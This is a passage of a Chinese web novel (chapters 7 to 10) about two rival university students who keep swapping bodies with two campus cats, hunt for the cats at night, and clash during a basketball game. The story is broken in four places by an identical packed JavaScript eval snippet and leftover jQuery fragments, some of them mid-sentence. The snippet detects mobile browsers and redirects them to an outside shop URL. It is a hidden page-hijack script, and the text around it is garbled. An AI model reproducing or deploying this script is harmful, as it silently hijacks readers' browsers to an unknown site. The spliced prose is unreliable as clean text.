“你专门拿这事来恶心我?报上去的事情要是还能改,李光还用得着先斩后奏吗?” 狮子猫显得有些错愕,“不能改?” 三花猫冷冷地看着他:“要不然李光为什么要先斩后奏,报上去了再跟老张说?” 狮子猫沉默下来。 两只猫拉拉扯扯引来一片学生,掏着猫罐头嘬嘬嘬地逗着两只小猫。 晃着猫条的学生蹲在地上嘀嘀咕咕:“昨天不还是好好的吗?怎么今天又吵架了?” 狮子猫亦步亦趋跟在三花猫身后,三花猫头也不回,时不时回头给狮子猫一爪子,神情恼火,显然是在生气。 围成一圈的学生观察一阵,先是对着狮子老生常谈地说了几句不要惹老婆生气,老婆从小跟着它不容易,随后晃着猫罐头,哄着三花猫同狮子猫和好。 “小花,来来来,别打了,亲一口大白,姐姐给你开个猫罐头。” 三花猫充耳不闻,目不斜视,心想亲一口对面的狮子猫还不如让他从楼上跳下去呢…… “噔”地轻微一声,金枪鱼猫罐头被撬开,浓郁的香味瞬间飘香十里,同雷达一样蹭蹭蹭地亮起。 三花猫耳朵立马竖起,咽了咽口水,有些按耐不动地用爪子挠了挠地砖,抓心挠肺一样心痒得厉害。 鬼知道为什么这罐头会那么香。 异瞳狮子猫还在就着金融挑战赛的事长篇大论,严谨道:“不可能报上去就改不了,我问过学长,他说报上去也不是没有办法更改……” 蹲在地上的女生笑眯眯地拿着金枪鱼罐头在三花猫面前晃了晃,看到三花猫圆溜溜的眼睛跟着罐头一块动,循循善诱道:“小花乖,跟大白和好,帮大白舔舔毛或者亲口大白,姐姐就给你罐头吃。” 三花猫显得有些挣扎,似乎想要忍痛逃离诱惑,两个爪子扒拉着地砖,将地砖挠得咯吱咯吱响,恋恋不舍地扭头最后看了一眼猫罐头。 女生看到三花猫恋恋不舍的神情,知道三花猫在挣扎,当机立断给三花猫尝了一口猫罐头,加大诱惑道:“乖,去亲一口大白,剩下的罐头都是你的。” 金枪鱼罐头没吃到嘴里,三花猫已经够馋了,现下又尝了一嘴,几乎把三花猫香迷糊了,舔着嘴,一边回味着金枪鱼罐头的味道一边挣扎。 最终,抵抗不住诱惑,内心的小猫天平直直倾斜倒向金枪鱼罐头。 三花猫一跃而起,走到狮子猫面前。 晏隋看到他,还在严谨承诺:“既然金融初创赛有更改的办法,那……” 下一秒,三花猫凑近,火速地舔了舔它的毛。 晏隋:“……” 异瞳狮子猫立即蹿出几米远,使劲地蹭着那块舔过的毛发,怒道:“靠,宁暨你有病啊?” 蹲在地上的女生笑眯眯地将罐头递给三花猫,夸三花猫聪明懂事。 三花猫晃着尾巴,心满意足埋头吃着罐头,听到身后的骂声,扭头一看,异瞳狮子猫对着湿漉的毛发想处理又不知道怎么处理,脸色发绿,一副被恶心得够呛的模样,吃着罐头更高兴了。 狮子猫气急败坏:“宁暨你脑子坏掉了?为了一个罐头你干这事?” 三花猫一副光脚的不怕穿鞋的无赖样,“混口饭吃,怎么,你看不惯啊?” 小无赖厚颜无耻:“看不惯有本事你也来啊。” 他笃定晏隋不会像他一样干这种事。 这位大少爷向来有洁癖,变成猫上厕所都要挑崇德楼的厕所上,更不用说像他一样去舔毛了。 宁暨越发高兴了,连同金融初创赛被恶心的那股劲都消散了不少。 他吃饱喝足,伸出爪子将空罐罐推到一旁,大摇大摆地开始巡视投喂的猫零食。 周围的学生举着手机,晃着猫条,兴高采烈道:“小花,再去亲一下大白,姐姐给你开猫条!” 三花猫的耳朵竖起来,扭头望向晃着猫条的女生,圆溜溜的眼珠子直转,满肚子的坏水藏都藏不住。 三花猫伸出爪子,拍了拍猫条,随即不怀好意地走向远处的狮子猫,逼得狮子猫节节后退,浑身僵硬,怒骂让他别过来。 宁暨哪里能想到自己有天能逼得晏隋节节后退,看着晏隋又惊又怒的模样乐得没边了。 三花猫跟炮弹一样冲过去,以迅雷不及掩耳之势对着狮子猫的脑袋舔了一口。 狮子猫发出怒骂,扬起爪子就听到三花猫冲着他呲牙,先发制人道:“金融初创赛——” 晏隋:“……” 宁暨大义凛然地训斥他:“你害我没了操盘手位置,现在你还想害我没猫条吃?” “我告诉你做人不能那么不要脸啊!” 劈头盖脸的一通呵斥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299405|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,三花猫屁颠屁颠地跑到女生面前,拍了拍猫条,示意女生打开后,叼着猫条兴高采烈地一溜烟跑没了。 三花猫找了块干净的花圃,趴在地上,两个爪子握着猫条,没几下就将猫条吃得干干净净,舔了舔爪子,晃晃尾巴,一股熟悉的困意涌了上来。 三花猫迷迷糊糊地用爪子压着空的猫条,身体开始变得轻飘飘,像是泡着暖洋洋的温泉,不知不觉就睡了过去。 —— 再醒来已经是下午六点。 宁暨睡眼朦胧地睁开眼,床帘被掀开一个角,高星探头小声道:“幺儿,还气着呢?” “都睡了一天了,起床吃个饭,晚上郑老的选修课要不要我们帮你请假?” 宁暨有些愣,爬了起来,坐在床上,抓了抓头发,含糊道:“不用请,我等会去上课。” 高星:“行,磊子给你打了饭,怕你醒了没东西吃,赶紧起床洗个脸吃个饭。” 他将床帘掀开,叨叨道:“你要为了金融初创赛这事生气,也不该睡一天,饭也不吃,我跟翔子叫了你好几次,都没听见你应。” 头发有些蓬乱的宁暨踩着拖鞋,在洗漱台一面刷着牙一面含糊道:“没生气……” 宿舍里的几人显然不信——没生气怎么饭也不吃的睡一天? 宁暨急急忙忙吃了晚饭,跟着高星一行人去上晚上的选修课。只可惜他们宿舍来晚了,邓老德高望重,选修课人气爆棚,阶梯教室乌泱泱坐满了人,只剩下倒数两排座位无人问津。 宁暨跟舍友坐在倒数第二排,一宿舍的人正好坐满,刚放下课本,呼啦啦地涌进来几个人,同他们一样来晚了,只能坐在倒数最后一排。 宁暨拧开矿泉水喝了一口,余光扫了一眼后排的人,目光刷地一下就停了下来,脸有些黑。 后排几个人还在闲聊,“隋哥怎么还没到?” “不知道啊,睡了一天,醒来第一件事就是去浴室,在浴室待了快一个小时,皮都快给他搓下来了……” 话音刚落,阶梯教室后面走进来一个背着斜挎包的男生,个头很高,带着头戴式耳机,五官优越英挺,扫了一眼教室,走向倒数最后一排。 倒数最后一排几个舍友朝着晏隋挥手,再抬头时,发现前面几个人正是昨天对着晏隋指桑骂槐了半个多小时的隔壁宿舍。 “……” 气氛陷入沉默。 晏隋面无表情地下来,前面正好是宁暨,跟高中一样。 倒数第二排的高星小心翼翼地捅了捅宁暨的胳膊,小心翼翼道:“老幺,要不要我跟你换个座位?” 宁暨从包里掏出两只笔,不爽道:“不换,凭什么是我换?要换也是他先换。” 倒数最后一排的晏隋舍友也捅了捅晏隋的胳膊,小声道:“隋哥,要不我两换个座位?” 晏隋拧开矿泉水,面无表情道:“不换。” 凭什么是他换? 离上课还要十多分钟,阶梯教室闹哄哄,刷视频的刷视频,聊天的聊天,气氛热烈,只有倒数两排的氛围冷如冰窖。 高星瞧着宁暨脸色不大好,琢磨了一下,凑过去,献宝一样递上手机,“老幺,别生气了,我给你看个搞笑的。” 他打开刷视频的软件,兴致勃勃地打开一条视频,乐不可支道:“这视频贼搞笑,我们学校的两只网红猫吵架了,结果被人摁着脑袋亲嘴。” “你看这只三花猫,都快哭了哈哈哈哈” “这两只猫在亲嘴的时候还在打架呢哈哈哈哈” “……” 高星乐了半天,转头一看,对着宁暨困惑道:“老幺,你怎么不笑啊?” 8. 第 8 章 “好笑吗?” 冷不丁的一句话从后排冒出来。 举着手机的高星:“?” 哪冒出来的声音? 他下意识转头,看到后排一张帅到惨绝人寰的脸冷不丁重复道:“好笑吗?” 高星觉得莫名其妙,转回头看自家老幺,只见另一张帅到惨绝人寰的脸上露出踩到狗屎一样的神情,幽幽道:“我觉得不好笑。” 高星神情震惊:“???” 六月飞雪了属于是。 水火不容的两人竟然也有意见统一的时候。 到底是视频真不好笑?还是他笑点太低? 高星迟疑捅了捅隔壁的李翔,让李翔看手机上的视频。 李翔伸头,看了两分钟,发出一声爆笑,使得高星心里宽慰些许——视频是搞笑的,肯定是老幺没心情看。 毕竟死对头就坐在身后,搁谁谁都乐不起来。 上课铃声响起,郑老夹着两叠资料走进教室,打了个招呼,赢得热烈掌声。 宁暨将手机放在桌面,一面转着笔,一面抬头听课。 四十分钟后,下课铃声响起,桌面上的手机震动了两下,宁暨瞥了一眼,划开手机,发现是好几条好友申请。 几条好友申请理由写了不同的句子。 S:通过一下,讲两件事,讲完就删 S:金融初创赛报上去的名次能够更改 S:白天在宿舍的人形并不是完全沉睡,很有可能那两只猫也穿 阶梯教室闹哄哄,高星跟李翔几个人去上厕所,宁暨想了想,给晏隋回复了一串号码 N:短信联系,18××× 没过一会,屏幕弹出一条短信,宁暨给这个号码改了备注。 傻逼:你傍晚醒来的时候有没有发现不对劲? 宁暨愣了愣,就着这句话想了想,回复对方说没有。 傻逼:我醒来的时候发现床单上有几道抓痕,不像是睡觉的时候抓的,很长一条,很像猫用人手抓出来的痕迹 宁暨心里咯噔了一下,转头望向后排的晏隋。 后排的男生靠在椅背上,抬眼,同他对视,随即又在手机上敲下一行字。 傻逼:我推测可能我跟你穿到那两只猫身体里,那两只猫也穿到我和你身体里 看着这行字,宁暨头皮有些发麻,不敢想倘若真如晏隋所言,那只三花猫穿到他身体里,白日里在宿舍手脚并用满地跑的样子得有多吓人。 高星跟李翔几个人上完厕所回到座位,一坐下,就听到自家老幺问:“我白天睡了一天?” 高星:“昂,怎么叫都叫不应,磊子让我们别吵你。” “你中午那会还说梦话呢,不过一通乱叫的,说什么梦话也听不太清。” 宁暨心凉了半截。 选修课下课,宁暨回到宿舍第一件事就是去床上翻被单,在床单上翻到了两道长长的抓痕。 不像是睡觉时无意识弄出来的抓痕,倒像是猫使用人形时扒拉床单抓出来的抓痕。 宁暨眼皮狂跳,啪地将床帘放在,翻箱倒柜找出手电筒,又往零食柜拿了两根玉米肠,往寝室外走。 准备去洗澡的李翔拎着换洗的衣服,诧异对他道:“老幺,那么晚了还出去啊?” 靠在椅子上的高星一下就坐直了,朝着宁暨挤眉弄眼:“这个点还出去,是不是去跟女生去操场散步聊天啊?” “什么?老幺要约会?” 阳台正晒着衣服的齐磊探出个脑袋,兴致勃勃道:“老幺终于开窍了,知道谈恋爱了?” 宁暨:“……” 李翔上下打量了他一下,“不是,老幺,你跟人女生出去约会你就带两根火腿肠?” 高星:“直男中的直男。” 齐磊用晾衣杆叉进来,将书桌敲得砰砰响,“谁家好人出去约会给人女生带两根火腿肠?舍长,上!” 高星一个箭步冲到自己的零食柜里,翻箱倒柜掏出一排AD钙奶,塞给宁暨,语重心长道:“别傻不愣登给人女生带两根火腿肠,好歹带点喝的。” 宁暨一手拎着手电筒,一手拎着火腿肠,试图解释:“我没出去约会。” 高星一行人兴高采烈地将他推出门外,挤眉弄眼道:“懂懂懂,不是出去约会,晚点回来啊。” 宁暨被推出寝室门,觉得有些莫名其妙。 他将一排AD钙奶塞进挎包里,拎着手电筒下楼,没走几步碰上了同样拎着手电筒出门的晏隋。 “……” 两人在楼梯相遇。 晏隋先说话:“你给我号码备注傻逼?” 宁暨一惊:“你怎么知道?” 穿着黑色短袖的男生瞥了他一眼,“上课我坐你后面,反光看到的。” 宁暨:“我只是称述事实而已。” 晏隋:“嗯,刚好我给你备注也是傻逼。” 两傻逼,谁都别说谁。 宁暨噎了噎,提着手电筒就往学校的小树林钻,准备好好找一找白日里穿成的三花猫和狮子猫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299406|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏隋跟在他身后,也提着手电筒,显然同他想法一样。 既然会不定时穿越到三花猫和狮子猫的身体里,那就将这两只猫放在寝室里,好好地研究研究,看看到底是得罪了哪路神仙。 晚上十点多的A大,大多数学生都回寝室,偏僻昏暗的小树林更是没什么人,两人一前一后提着手电筒在茂密灌丛搜寻着两只猫的踪迹。 “金融初创赛更改操盘手的事,我会亲自跟李光说。” 专心致志搜寻的宁暨头都懒得回,弯腰,在灌丛木中扒拉了两下,“大少爷,你跟李光说?你能跟他说什么?” “这不是你家公司,想换人就换人,清醒点。” 夜里凉风习习,宁暨套了一件黑色薄款冲锋衣外套,踩着枯枝落叶,在咯吱咯吱的响声中听到身后人说:“我会退出金融初创赛。” “……” 宁暨脚步一顿。 身后踩着落叶,脚步也跟着停下,“上届的学长说报上去的比赛人员确实不能更改,但只要有成员退出比赛,就可以重新选定成员。” 宁暨转身,提起手电筒,将光束照向晏隋,“你脑子坏掉了?” 被手电筒照着的晏隋眼睛晃了晃,微微偏头,用余光望着眼前的男生。 宁暨:“金融初创赛三年一次,什么含金量你不懂?” “你搞个退赛什么意思?” 晏隋:“我不退赛,操盘手的位置就换不了。” 宁暨收回手电筒,转身,照着灌木丛,头也不回道:“换不了就换不了咯。” 他虽然看不爽面前人,但没必要因为个人恩怨把对方往退赛上逼。 枯枝碎叶被踩碎,发出咯吱咯吱的声响,周遭安静了很久,传来一句话,“我以为你会巴不得我退赛。” 穿着黑色冲锋衣的宁暨切了一声,扭头朝他竖起中指,“不退赛,老子也比你牛。” 胜之不武,赢了也没意思。 身后安静了一瞬,随即另一束手电筒的光照向宁暨前方,光束不止光圈大,照明度也高,漆黑的角落顿时变得清晰可见。 宁暨看了一眼自己手电筒的光束——光圈没晏隋的大,照明度也没晏隋的高。他转头,眉头拧得紧紧的,有点不爽。 他移开了手电筒光束,谁知道大光束也跟着一块移。 宁暨唰地一下扭头,瞪着身后人:“滚吧你,跟有病似的。” 手电筒光束大小都要跟他比。 神经。 提着手电筒的晏隋:“……” 9. 第 9 章 昏暗的小树林陷入片刻沉默。 晏隋低头看了一眼手上的手电筒,一声不吭地将手电筒的档位调小。 巨大无比的光圈立即缩成小光圈,同宁暨的手电筒光圈形成鲜明对比。 前头穿着黑色冲锋衣的男生立即幸灾乐祸地扭头:“没电了?” “活该,叫你装逼。” 晏隋:“……” 宁暨高高兴兴地提着自己的大手电筒晃了晃,神清气爽在树林里继续找三花猫。 他沿着昏暗的树丛搜寻了片刻,身后人叫了一声他的名字,“宁暨。” 宁暨头也不回,“有屁快放。” 身后人安静片刻,忽然道:“比赛这事算我欠你个人情。” 宁暨眼珠子转了转,立即扭头:“你现在就可以还。” 晏隋:“?” 宁暨:“叫声爹听听。” 晏隋:“……我没开玩笑,我说真的。” 宁暨双手一摊,无辜道:“我也没开玩笑啊。我现在什么都不缺,就缺你一声爹。” “你要叫不出爹,叫爸爸也行。” 晏隋拎着手电筒,装作没听到,扒拉了一下灌木丛,从容不迫道:“这里有空的猫条包装袋,流浪猫很有可能藏在小树林里面。” 他一边说一边提着手电筒往小树林走,目不斜视。 宁暨弯腰,捡了一根长长的枯树枝,使劲地戳着面前人的脑袋:“叫声爹,我就当你还了这个人情。” 被枯树枝戳得脑袋发疼的晏隋:“……” 现在他已经不想一掌攮死宁暨了,他想一巴掌攮死李光。 宁暨握着长树枝,跟戳西瓜一样戳着面前人脑袋,兴致勃勃催促道:“赶紧叫爹。” 话音刚落,一阵熟悉的猫叫幽幽响起。 宁暨立即扭头望向猫叫声的来源,手电筒光亮转向远处。 只见远处的灌丛边上端坐着两只猫,一只三花猫一只狮子猫,端坐着亲昵地互贴,歪着脑袋望着他们。 下一秒,两只猫回头看了他们一眼,立即蹿向小树林深处,似乎知道他们的目的。 宁暨当机立断,拔腿追上去,瞬息间便不见踪影,晏隋反应过来,跟在他身后一齐跑。 小树林响起碎叶被踩碎的的咯吱咯吱脚步声,在茂密枝叶前,两只猫忽然停下脚步,又回头看了他们一眼。 宁暨胸膛起伏,喘着点气,扶着膝盖,猛地一把拨开眼前的茂密枝叶,刷地一下抬起手电筒照向前方,大喝一声:“别跑!” 同样喘着气的晏隋紧随其后,举着手电筒,猛然一把拨开茂密枝叶,以为通人性的两只猫知道跑不掉,选择束手就擒。 扑棱棱一声响,小树林不远处抱在一起亲嘴的小情侣惊慌失措地抬起头,被手电筒照了个正着,僵硬地同举着手电筒的两人对视。 “……” 宁暨眼皮一跳,唰地一下放下掀开的枝叶,一脚将身旁的晏隋踹了出去。 提着手电筒的晏隋一个趔趄,踉跄向前扑了几步,僵硬地同面前的小情侣对视。 一阵诡异的沉默后,小情侣颤颤巍巍开口:“抓奸?” 晏隋:“……” 他闭了闭眼,深吸一口气,挤出一个笑,提着手电筒僵硬道:“不好意思,打扰了。” “你们继续。” 颤颤巍巍的小情侣抓着手,像只螃蟹一样僵硬移动,哒哒哒地离开了。 宁暨掀开茂密枝叶,探出个脑袋,扭头:“那两只猫呢?” 晏隋面无表情扭头盯着他。 宁暨神情真诚:“事态紧急。” “一个人当偷窥狂总比两个人当偷窥狂好。” 他左顾右盼,眼尖地在远处瞧见了两只猫,拿着树枝使劲地戳了戳晏隋,“那边——” 端坐在地上的两只猫优雅舔了舔爪子,下一秒蹿向黑漆漆的远处,瞬息间便没了踪影。 宁暨:“???” 他没忍住,冒了脏话:“靠——” 他怎么感觉这两只猫是故意溜着他们玩的? 晚上本就光线差,小树林里的光线更是差到难以视物,这两只猫明明可以嗖地一下跑得没影,却在途中突然停下,回头去瞧他们,将引他们去到情侣亲热的这处,最后再潇洒离去。 宁暨头皮有些发麻,心想这两只猫怎么跟成精一样可怕,将他们每一步都算得死死的。 他穿到那只三花猫身上绝对不是机缘巧合,必定是三花猫的报复。 回宿舍的路上,宁暨一边琢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299407|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨一边喝着挎包里的一排AD钙奶,心想还是得抓到那只三花猫才行。 走到宿舍楼下,他将一排空饮料瓶投进垃圾桶,一排空饮料瓶以一道完美的弧线跌入远处的垃圾桶。 “咚”地一声脆响后,宿管阿姨探出头,横眉竖眼地望向垃圾桶,喊了一嗓子:“哪个又乱投瓶子?” “说了多少次!丢垃圾不要投瓶子,老老实实走到垃圾桶前丢瓶子!” 宁暨立即转身,义正言辞地对着身后人批评:“就是就是,丢垃圾也不好好丢。” 晏隋:“……” 宿管阿姨瞪着眼睛:“哪个宿舍的?” 宁暨探头,“阿姨,他是我隔壁,403的。” 宿管阿姨:“下次不许这样了啊。” 宁暨兴致勃勃,朝晏隋做了个操盘手的口型。 晏隋:“……下次不会了。” 宿管阿姨脸色缓了一些,“好了,赶紧回宿舍,下次阿姨再看到你乱投瓶子,可要扣你宿舍分了。” 宁暨乐得不行——任谁看到死对头吃瘪都会高兴。 晚上十一点。 宁暨一个箭步,冲进宿舍,准备趁早再洗个热水澡。 谁知道一进门,宿舍几个人将他团团围住,眼里放着光问他今天晚上感觉怎么样。 宁暨:“?” 他想了想,诚实道:“不怎么样。” 猫没抓到,人还在小情侣面前出了丑,晏隋的一声爹也没听到。 高星:“不怎么样?怎么,你跟她不来电啊?” 宁暨抓了抓头发,奇怪道:“我没出去约会啊。” 隔壁403宿舍。 晏隋推开寝室门,发现整个寝室都朝他投来眼神。 晏隋:“?” 他环视了几人一圈,将手电筒放在书桌上,“出什么事了?” 寝室气氛有些紧张,几个舍友面面相觑了一会,似乎在犹豫着该不该开口。 终于,过了半晌,有个舍友小心翼翼小声开口:“隋哥,你刚才跟隔壁班的宁暨约架了?” 晏隋:“……?” 舍友咽了咽口水,继续小声道:“我们班有同学说刚才散步的时候,看见你们两个提着手电筒进了小树林约架。” 10. 第 10 章 他提着手电筒跟宁暨去到小树林约架? 晏隋嘴角抽了抽,“谁说我跟他去到小树林约架?” 403宿舍几个人想了想诚实道:“大家都这么说。” “说你跟宁暨因为金融初创赛的事,约在小树林干一架。” 月黑风高,昏暗安静,不仅适合小情侣亲嘴亲热,也适合拳脚相向、大打出手。 短短几个小时,这一传闻就传遍了金融系。 宁暨洗完澡,听到电竞椅上的高星大呼小叫,说老幺原来真不是去小树林约会,是去干架了。 李翔问他打赢了还是打输了。 擦着头发的宁暨面不改色:“赢了。” “当时我就一个左勾拳,打得他满地找牙,随后又是一个扫堂腿,打得他哭爹喊娘。” 电竞椅上的赵磊摘下耳机,热烈鼓掌喝彩:“好!不愧是老幺!” 宁暨矜持抬手往下压了压,谦虚地示意赵磊低调低调。 高星噼里啪啦地敲着键盘,豪迈地在键盘上回复金融系闻风而动的吃瓜群众—— “真事,他们真去小树林干架了。” “谁赢了?肯定是我舍友赢了,他一个左勾拳,又一个扫堂腿,打得那个姓晏的满地找牙、哭爹喊娘!” “你说夸张?怎么可能夸张!姓晏的光长个不长脑,哪里比得上我舍友!” 隔壁403宿舍。 刷着手机的舍友被口水呛了两下,颤颤巍巍地抬起头,对着刚洗澡出来的晏隋弱弱道:“隋哥,群里都在传你跟宁暨去小树林打架,被宁暨打得哭爹喊娘。” 晏隋:“。” 另一个舍友弱弱道:“隋哥,我也刷到了。” “宁暨的舍友说宁暨一个左勾拳,先把你打得满地找牙,然后一个扫堂腿,把你打得哭爹喊娘,最后跪在地上抱着他的大腿求他自己错了,别打了。” 晏隋:“。” 另一个舍友看着完完整整的晏隋,想了想道:“隋哥,这明显是隔壁宿舍的人在吹牛,要不我替你澄清一下?” 晏隋深吸一口气,想一巴掌攮死李光的心到达了巅峰。 半晌后,他缓缓从嘴里蹦出两个字:“不用。” 舍友神情震惊,有些欲言又止,好一会才绞尽脑汁干巴巴安慰:“也是,这种一看就是吹牛的。” “怎么可能有人相信呢?好像确实也没必要澄清哈哈哈……” 隔壁宿舍的高星还在网上跟闻风而动的吃瓜群众大杀四方,宁暨擦着头发,将毛巾搭在后颈,看到书桌上有瓶跌打扭伤药和创口贴。 他拎起跌打扭伤药,“谁的东西落我这了?” 一旁的高星抽出空,扭头瞅了一眼:“崔英奕刚才送来的,说你可能用得上。” 崔英奕。 宁暨回想了一下,想起这人是他们班上的一个男生,性格安静内敛,成绩很好,是这次金融初创赛组员之一。 上回开学搬新书的时候,他顺手帮崔英奕搬上了楼,估计是崔英奕的谢礼。 宁暨打开微信,靠在电竞倚上,歪着脑袋,给崔英奕发了条信息。 N:谢了哥们 对面回复不用谢,随即问他金融初创赛什么时候小组创建交流群。 宁暨有些犯困,打了个哈欠,回复对面人说组长是晏隋,不是他,创群的事得问晏隋。 对面好一会才回复了,没说什么,只说了个好。 “幺儿,这周六跟食品系的打完篮球赛去不去聚餐?” 李翔转着椅子,问了一嘴。 宁暨抬起头,挑眉,“去啊,打完直接去庆祝呗。” 话音刚落,宿舍里的几人都笑了起来——宁暨这话虽然说得狂了点,但也说得没错。 金融系的篮球队基本没输过,每年都能一路杀到决赛,轻轻松松拿下前三。 ———— 周六下午四点。 篮球场外座位席乌泱泱地坐满了人,不少女生伸着头,举着手机,一边同身边朋友聊天一边找着金融系篮球队的七号。 休息椅上,穿着白色篮球服的七号男生双手向后撑着长椅,微微歪着头,笑着同面前的人说话。 “七号好帅啊……听说叫姓宁?” “七号一直都帅哈哈哈,不止帅,绩点听说一直是金融系第一。” “七号有没有女朋友?” “听说没有,一直都是单身。” 休息椅上,穿着球服的高星拧开矿泉水,感慨道:“托老幺的福,半个场的女生都看向了我。” “活了二十多年,也只有跟老幺在一块打球才有这个待遇。” 观众席响起一阵轻微骚动,长椅上的宁暨扭头,看到篮球场的前门,几个穿着白色球服的高个子男生走进来。 为首的是晏隋,背着黑色的挎包,不说话的时候看上去神情淡淡。 “食品系的那群人怎么一直盯着老幺看?” 站在长椅,穿着球服的李翔忽然皱起眉头,低声说了一句。 宁暨抬头,看到不远处食品系确实有几个穿着蓝色球服的男生时不时扭头望向他,似乎在谈论着什么。 李翔:“老幺等会上场注意点,食品系的有几人打球有点脏。” 宁暨应了一声。 他们的篮球队长是个大三的学长,拍了拍宁暨的肩膀,同样叮嘱宁暨上场得小心些,这场比赛对手实力不算强,但球品不太好,打球手脚不干净,爱耍小伎俩。 “特别是那个叫周民的,打得很脏,你跟晏隋都是这场比赛的主力,小心些没错。” 宁暨点了点头,起身朝着篮筐走去。 不多时,一声清脆高亢的哨声响起,比赛正式开始,观众席气氛热烈。 宁暨高中练过田径,体能好爆发也高,腾空跃起的高度足以让人咂舌,球技更是好得没话说。开场没多久一个三步扣篮便让观众席上的氛围热烈到了顶峰,激动的尖叫声同热浪一般席卷而来。 场上的高星笑着跑向他,同他击了个掌,夸他帅得要死,又跑回自己的位置。 宁暨张开手,也笑着同高星击个掌。 阳光下,风吹起七号球员的额发,露出清晰的眉眼,眼睛很亮,生机勃勃的模样几乎吸引住了观众席所有的目光。 场内,穿着球服的晏隋扶着膝盖,轻微地喘着气,目光也落在了宁暨身上,忽然发现平日里爱装高冷爱装拽的宁暨笑起来有个不太明显的酒窝。 怪反差的。 晏隋心想。 观众席的呐喊声和欢呼声不绝于耳,声浪一波大过一波,铺天盖地地袭来,场内的比分直直倒向金融系,差距在不断拉大。 宁暨心里记着开场前李翔和篮球队长叮嘱的话,上半场打得不算太凶,收敛了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299408|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少。 他一直以为食品系的那几个打球打得脏的人会在这场比赛死盯着他,见缝插针地使上点手段故意让他犯规或者受伤,甚至连篮球队长也是这样认为。 但宁暨没想到食品系没对他甩阴招,食品系里那个叫周民的男生,在抢球中直直地擦过他,耍了手段后故意撞向他身后的高星,随后一个错位重重地踩上高星的脚踝。 场内立即响起一声痛苦的惨叫,摔倒在地的高星抱着膝盖,满头冷汗,嘴唇打抖,痛得脸色发白。 周民佯装才发现的样子,诧异坐在地上,随即吊儿郎当道:“不好意思啊兄弟,没收住——” 宁暨撂下球,拨开两个站在他面前的队员,扬起拳头就要朝着周民重重挥过去。 他动作狠而快,周围人几乎都没反应过来,挥出去的那瞬间被一只手猛然截住。 “宁暨!” 一声喝声,才让周围人几个队员回过神来,扭头一样,才看到被晏隋拦着的宁暨已经扬起拳头,惊慌失措地起身,拽着宁暨,不让他往前冲。 被好几个人拦着的宁暨眼睛有些发红,被激怒,嗓子发哑怒吼道:“你他妈的人渣!他上个月脚踝才刚受过伤!” “你故意往他脚上踩,你他妈是想害他一辈子打不了球?” “放手!给我放手!” 眼睛发红的宁暨两只手腕被身后人的手掌死死地锢住,整个人都被圈在身后人怀里,耳边响起低声一句:“冷静点宁暨!” “你想挨处分吗?边上那么多老师都看着!” “他们就是激你动手,好让你退赛!” 宁暨胸膛剧烈起伏,定定地顿了两秒,依旧拼命挣扎,想向眼前吊儿郎当的周民挥起拳头。 但身后人把他死死地禁锢住,让他动弹不得,宁暨眼睛发红,扭头死死地盯着身后的晏隋。 校医很快赶到场内,李翔几个人将脸色发白的高星搀扶,高星疼得嘴唇都在发抖,还是叫了一声宁暨。 “老幺,我没事,别冲动。” 他冲宁暨露出个安抚的笑,吃力道:“真没事,你们继续。” 胸膛剧烈起伏的宁暨转头,直直地望着几个人搀扶高星的背影。 比赛继续。 下半场的宁暨打得很凶,仿佛要把对面人往死路上逼,似乎在发泄什么,比分差距不断拉大,最终拉扯到一个不可思议的比分——109:9。 整场比赛下来,对面只能拿到金融系的零头。 比赛结束,宁暨用毛巾擦了擦脸,头也不回地走出球场。 十多分钟后,篮球更衣室的门被推开。 几个换衣服的队员有点愣,扭头望着推开门的宁暨。 宁暨没什么神情,直直走向角落里正准备换衣服的晏隋。 下一秒,走到角落的男生毫无征兆地扬起拳头,揪着对方的衣领,又狠又快地给了对方一拳,将对方的脸砸得偏向一边。 “你是不是觉得你自己特牛逼?” 眼圈还发着红的宁暨哑着嗓音,揪着晏隋的衣领,将人猛然推搡到更衣室的储物柜,一句一句逼问。 铁皮的储物柜发出声嘭地一声巨响。 “我挨不挨处分关你什么事?你凭什么拦着我?” 